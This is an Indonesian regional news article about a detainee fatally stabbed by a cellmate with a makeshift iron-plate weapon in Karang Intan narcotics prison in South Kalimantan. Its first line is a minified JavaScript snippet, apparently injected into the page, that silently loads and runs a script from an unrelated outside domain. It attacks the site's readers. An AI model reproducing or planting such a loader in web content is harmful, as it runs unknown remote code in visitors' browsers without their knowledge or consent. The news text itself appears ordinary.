(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Benda terlarang lolos ke dalam Lapas Narkotika IIA Karang Intan, Kabupaten Banjar, Kalsel, akibatnya seorang tahanan tewas ditikam menggunakan sebilah benda tajam di dalam kamar sel, Senin (7/8/2023) dinihari.
AM (33), tahanan Lapas Narkotika Karang Intan kehilangan nyawa saat perjalanan ke rumah sakit setelah terlibat perkelahian menggunakan benda tajam milik teman satu kamarnya.
Perkelahian dua tahanan di Lapas Narkotika IIA Karang Intan terjadi sekitar pukul 03.00 Wita.
AM, warga Belitung Darat, Kota Banjarmasi berseteru dengan HRA (40) warga Semayap, Pulau Laut Utara, Kabupaten Kotabaru.
Baca juga: Maut di Warung Tuak, Dua Pelaku Perkelahian di Pondok Jhon Banjarbaru Dibekuk
Kepala Lapas Narkotika Karang Intan Wahyu Susetyo membenarkan peristiwa pada Senin (7/8/2023) siang.
“Benar kejadian jam tiga subuh dini hari tadi,” kata Kalapas Wahyu Susetyo.
Kejadian bermula ketika AM sedang tertidur di dalam kamar tahanan dengan jumlah tahanan sebanyak 26 orang. Diduga HRA tidak sengaja menyenggol AM.
Kemudian AM merasa tidak nyaman dan tersinggung, lalu terjadilah perselisihan antara HA dan AM. Para tahanan lain di dalam kamar sempat berusaha memisahkan keduanya, namun AM terus menyerang HRA.
Baca juga: Terdakwa Bikin Kafe dari Uang ‘Belah Semangka’ Korupsi Bendungan Tapin
“HRA menghindar kemudian menyerang balik menggunakan senjata rakitan yakni berupa plat besi, asalnya masih kita selidiki,” beber Kalapas Karang Intan.
Keributan di salah satu kamar tahanan itu, sipir Lapas yang sedang berjaga mengetahuinya dari alarm gangguan keamanan berbunyi dan bergegas menuju kamar lokasi kejadian.
Di dalam ruang kamar sel yang ditinggali 26 tahanan itu, petugas sipir Lapas sudah mendapati AM penuh darah akibat beberapa luka tusuk.
“Kita membawa korban ke rumah sakit untuk penanganan lebih lanjut, saat di perjalanan AM meninggal dunia,” jelas Kalapas.
Saat ini HRA sudah diamankan oleh pihak kepolisian dan jenazah AM berada di RSUD Ratu Zalecha untuk dilakukan proses visum.
Baca juga: Pengendara Perempuan Kerap Selip di Jembatan Ulin Kuin Banjarmasin
Terkait bendara tajam yang ada di dalam kamar sel para tahahan tersebut, Kalapas Karang Intan menyampaikan masih belum diketahui dari mana asal benda tajam plat besi hingga saat ini. “Asal senjata belum kami ketahui dari mana karena masih dalam tahap penyelidikan,” kata Wahyu.
Terkait kejadian berdarah hingga hilangnya nyawa seorang tahahan, pihak Lapas berjanji lebih waspada lagi dalam mengawasi keseharian warga binaan, baik di dalam kamar maupun di luar lingkungan kamar.
“Kita juga selalu melakukan sidak rutin untuk mencegah hal-hal yang tak diinginkan,” tutupnya. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.